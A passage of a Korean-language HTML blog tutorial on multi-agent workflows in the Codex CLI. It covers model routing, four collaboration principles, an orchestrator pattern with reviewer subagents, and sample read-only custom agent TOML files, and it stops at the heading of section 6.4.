&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;가벼운 읽기 전용 서브에이전트에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-mini-latest&lt;/code&gt; 같은 효율 모델을, 복잡한 리뷰나 최종 판단에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;o3&lt;/code&gt; 같은 강한 모델을 배정하는 식으로 시작할 수 있다. 이것은 공식 규칙이 아니라 비용, 속도, 작업 위험을 함께 보는 운영 기준이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;o3&lt;/code&gt;&lt;/b&gt;: 복잡한 추론이 필요한 작업에 쓴다. 보안 분석, 설계 결정, 최종 통합 판단처럼 한 번 틀리면 비용이 큰 단계에 배정한다. 느리지만 정확하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-mini-latest&lt;/code&gt;&lt;/b&gt;: 빠른 탐색&amp;middot;분류 작업에 쓴다. 파일 목록 수집, 디렉토리 구조 요약, 단순 패턴 스캔처럼 단순 작업에 최적이다. 빠르지만 깊은 추론에는 약하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI에서는 실행 중에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/model&lt;/code&gt; 명령으로 모델을 바꿀 수 있고, 새 CLI 세션이나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex exec&lt;/code&gt;(프롬프트를 인수로 전달해 대화 없이 한 번만 실행하는 서브명령)에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-m&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt; 플래그를 쓴다. 반복해서 같은 모델을 쓰고 싶을 때만 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt; 기본값을 조정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요금과 플랜도 함께 봐야 한다. 여러 서브에이전트는 &quot;한 명의 Codex가 더 빨리 생각한다&quot;가 아니라 여러 모델 호출이 동시에 늘어나는 구조다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Pricing 문서&lt;/a&gt;를 확인하고, 현재 계정의 사용 가능 모델, 플랜 한도, API 키 사용 여부를 먼저 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 워크플로 설계 원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 이 순서로 생각하면 편하다. 각 원칙을 하나씩 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 네 가지인가? 멀티 에이전트가 망가지는 지점은 대부분 같은 자리에서 반복된다. 분리되지 않은 일을 분리한 척 시키거나, 같은 파일을 동시에 고치게 두거나, 결과를 합치는 사람이 없거나, 중간 결과를 확인할 방법이 없거나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이 네 자리에 각각 가드레일을 세운 것이 아래 4원칙이다. 세부 구현보다 이 네 가지가 실수를 막는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2142&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqwf29/dJMcajvoIAw/ehNrkvck4kbXZylNnzr6v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqwf29%2FdJMcajvoIAw%2FehNrkvck4kbXZylNnzr6v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2142&quot; height=&quot;1158&quot; data-origin-width=&quot;2142&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4ff; padding: 20px 24px; border-radius: 12px; border: 1px solid #b3c6ff; margin: 20px 0;&quot;&gt;&lt;b&gt;멀티 에이전트 협업 4원칙&lt;/b&gt;
&lt;ol style=&quot;margin: 12px 0 0; padding-left: 22px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분리 가능성을 먼저 검증한다&lt;/b&gt; &amp;mdash; 진짜 독립 작업인가, 아니면 숨은 순서가 있는가. 숨은 의존성을 무시하면 Phase 2가 Phase 1 결과를 받지 못한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;읽기는 병렬, 쓰기는 직렬&lt;/b&gt; &amp;mdash; race condition은 여러 작업이 동시에 같은 대상을 건드릴 때 생기는 실행 순서 문제다. 같은 파일을 동시에 고치게 두면 충돌 가능성이 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;통합 책임을 명시한다&lt;/b&gt; &amp;mdash; 누가 결과를 모으고 최종 판단하는지 적지 않으면, 각 에이전트가 자기 결과만 출력하고 아무도 합치지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 가능한 산출을 남긴다&lt;/b&gt; &amp;mdash; 파일, 요약, 테스트 결과처럼 명시적 artifact(산출물: 에이전트가 남긴 확인 가능한 결과)가 없으면 중간 단계를 나중에 확인할 방법이 없다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원칙이 어떻게 실수를 막는지 두 가지로 비교해 봤다.&lt;/p&gt;
&lt;div style=&quot;display: flex; gap: 0; flex-wrap: wrap; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #fff5f5; border: 1px solid #ffcccc; border-radius: 8px 0 0 8px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 있는 지시&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;api-agent와 test-agent가 동시에&lt;br /&gt;src/auth/session.ts를 수정해 줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #f0fff4; border: 1px solid #b2dfdb; border-radius: 0 8px 8px 0; border-left: none;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이렇게 바꾸자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;api-agent는 탐색만, 수정은 merge-agent&lt;br /&gt;단독으로 Phase 2에서 진행한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;해설: 같은 파일을 동시에 수정하면 충돌 가능성이 높다. 탐색 단계를 분리하면 사고를 줄일 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;display: flex; gap: 0; flex-wrap: wrap; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #fff5f5; border: 1px solid #ffcccc; border-radius: 8px 0 0 8px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 있는 지시&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;각 에이전트가 분석 결과를&lt;br /&gt;잘 정리해서 돌려줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 280px; padding: 14px 16px; background-color: #f0fff4; border: 1px solid #b2dfdb; border-radius: 0 8px 8px 0; border-left: none;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이렇게 바꾸자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-family: monospace; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;각 에이전트는 결과를&lt;br /&gt;reports/[역할].md 에 저장해 줘.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;해설: 파일로 남기면 나중에 어느 에이전트가 뭘 출력했는지 바로 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: 4px 0 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 명확한 배경 정보 + 완료 기준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워크플로 설계의 출발점은 단순하다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Workflows 문서&lt;/a&gt;는 이렇게 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Codex works best when you treat it like a teammate with explicit context and a clear definition of 'done.'&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;명확한 컨텍스트와 '완료' 기준이 함께 주어지면 Codex는 팀원처럼 가장 잘 작동한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원에게 일을 맡길 때처럼 배경과 완료 기준을 함께 적어야 한다. &quot;이 PR을 리뷰해 줘&quot;보다 &quot;main 브랜치와 비교해서 보안 위험만 파일 경로와 함께 정리해 줘&quot;가 훨씬 좋은 지시다. PR은 코드 변경 검토 요청이고, main 브랜치는 보통 기준이 되는 기본 브랜치다. 무엇을 봐야 하는지, 결과를 어떤 형태로 돌려줘야 하는지가 분명할수록 결과도 좋아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Workflows를 적용하기 전에는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prompting 문서&lt;/a&gt;의 기본 원칙도 같이 보는 게 낫다. 서브에이전트도 결국 프롬프트 품질에 좌우되기 때문이다. 어떤 파일을 봐야 하는지, 어떤 결과를 돌려줘야 하는지, 무엇을 하면 안 되는지를 적지 않으면 병렬로 빨라지는 대신 여러 방향으로 엇나갈 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;CLI에서는 파일 경로를 더 명확히 적어야 한다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 Workflows 문서에 따르면 IDE 확장은 열린 파일을 자동 컨텍스트로 포함하지만, CLI에서는 보통 파일 경로를 직접 언급하거나 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/mention&lt;/code&gt;과 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@&lt;/code&gt; 경로 자동완성을 사용해야 한다. 초보자는 &quot;이 프로젝트를 봐줘&quot;보다 &quot;src/auth/session.ts와 tests/auth를 기준으로 봐줘&quot;처럼 적는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 오케스트레이터 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업 흐름은 총괄 담당 1명과 역할별 작업자 여러 명으로 나누면 이해하기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 에이전트가 전체 목표와 완료 기준을 잡고, 서브에이전트가 각자 좁은 범위를 조사한 뒤 결과를 돌려주는 구조다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Review this branch against main. Have pr_explorer map the affected code paths, reviewer find real risks, and docs_researcher verify the framework APIs that the patch relies on.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;이 브랜치를 main과 비교해서 리뷰해라. pr_explorer가 영향받는 코드 경로를 파악하고, reviewer가 실제 위험을 찾고, docs_researcher가 패치가 의존하는 프레임워크 API를 공식 문서와 대조해서 확인한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pr_explorer&lt;/code&gt;는 바뀐 코드가 어디에 영향을 주는지 찾고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;reviewer&lt;/code&gt;는 실제 위험을 찾고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;docs_researcher&lt;/code&gt;는 사용한 API가 공식 문서와 맞는지 확인한다. API는 프로그램끼리 서로 기능을 호출하는 약속이라고 보면 된다. 역할이 분명하면 마지막에 결과를 합치기도 쉽다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;div style=&quot;background-color: #f3f0ff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #7950f2; margin: 18px 0;&quot;&gt;&lt;b&gt;실제 프로덕션 에이전트 해부: codex-rescue&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;오케스트레이터 패턴의 실제 구현체가 궁금하다면 superpowers 플러그인의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-rescue&lt;/code&gt; 에이전트가 좋은 참고 사례다. 이 에이전트는 세 가지 규칙만으로 설계되어 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단일 책임&lt;/b&gt;: Codex CLI 호출 하나만 담당한다. 저장소를 직접 탐색하거나 파일을 분석하는 일은 하지 않는다. 터미널 출력(stdout)을 그대로 돌려주는 것이 전부다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도구 제한&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Bash&lt;/code&gt; 도구만 허용한다. 권한을 최소화하면 예상치 못한 부작용이 줄어든다. 에이전트가 할 수 있는 일을 적게 정의할수록 결과를 예측하기 쉽다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모델 라우팅&lt;/b&gt;: 작업 복잡도에 따라 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--model&lt;/code&gt;과 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--effort&lt;/code&gt;를 조합한다. 무거운 모델을 모든 작업에 쓰지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 12px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 원칙을 직접 만드는 에이전트 TOML에 적용하면 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 8px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# 모델 ID 참고: https://platform.openai.com/docs/codex
name = &quot;pr_reviewer&quot;
description = &quot;Security and test gap reviewer. Read-only.&quot;
model = &quot;codex-mini-latest&quot;
model_reasoning_effort = &quot;medium&quot;
sandbox_mode = &quot;read-only&quot;
developer_instructions = &quot;&quot;&quot;
Review only. Do not edit files.
Report findings with file path and line number.
Return a summary under 200 words.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;superpowers 플러그인은 Claude Code 마켓플레이스에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/install
        superpowers&lt;/code&gt;로 설치하면 바로 확인할 수 있다. 이 단일 책임&amp;middot;도구 최소화&amp;middot;모델 라우팅 세 원칙은 오픈소스 에이전트 생태계에서 반복적으로 나타나는 패턴이다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5 (MCP &amp;middot; Plugins &amp;middot; Skills)&lt;/a&gt;에서는 이 원칙을 직접 플러그인으로 만들어 배포하는 법을 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 커스텀 에이전트 파일 정의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음부터 커스텀 에이전트를 만들 필요는 없다. 기본 에이전트로도 충분히 실습할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 같은 역할을 계속 반복한다면 TOML 파일로 에이전트를 정의해 재사용할 수 있다. TOML은 설정 파일 형식이고, 여기서는 &quot;이 에이전트의 이름, 설명, 지시문을 파일로 저장해 둔다&quot; 정도로 이해하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0nJqe/dJMcacXlKns/RpAAq4mNKrOQDbaECvoOKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0nJqe%2FdJMcacXlKns%2FRpAAq4mNKrOQDbaECvoOKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2126&quot; height=&quot;1164&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;커스텀 에이전트를 만들지 판단하는 기준&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;판단&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 번 해보는 저장소 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트에 직접 역할을 적는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매 PR마다 같은 보안 리뷰를 반복&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 에이전트 후보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 전체가 같은 역할을 재사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/agents/&lt;/code&gt;에 두고 버전 관리 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt; 기준으로 커스텀 에이전트의 필수 필드는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;name&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;description&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;developer_instructions&lt;/code&gt;다. 전역 에이전트는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/agents/&lt;/code&gt;, 프로젝트 에이전트는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/agents/&lt;/code&gt;에 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아주 작은 예시는 다음과 같다. 다만 에이전트 파일의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;만으로 항상 읽기 전용 실행이 보장된다고 이해하면 안 된다. 서브에이전트는 현재 세션의 권한&amp;middot;승인 설정 영향을 받으므로, 처음에는 현재 CLI 권한을 확인하고 프롬프트에도 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Do not edit files.&lt;/code&gt;를 함께 적는 편이 안전하다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;# 모델 ID 참고: https://platform.openai.com/docs/codex
name = &quot;docs_researcher&quot;
description = &quot;Official documentation checker for API and framework behavior.&quot;
model = &quot;codex-mini-latest&quot;
model_reasoning_effort = &quot;medium&quot;
sandbox_mode = &quot;read-only&quot;
developer_instructions = &quot;&quot;&quot;
Use official documentation first.
Return concise findings with source links.
Do not edit files.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;에이전트 수 제한도 안전장치다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config Reference&lt;/a&gt; 기준으로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;agents.max_threads&lt;/code&gt;의 기본값은 6, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;agents.max_depth&lt;/code&gt;의 기본값은 1이다. 동시에 너무 많은 스레드가 열리거나, 서브에이전트가 다시 하위 에이전트를 계속 만드는 일을 제한하기 위한 값이다. 초보자는 이 값을 올리기보다 작업을 더 작게 나누는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;6.4 결과 취합은 요약으로 돌려받는다&lt;/h3&gt;
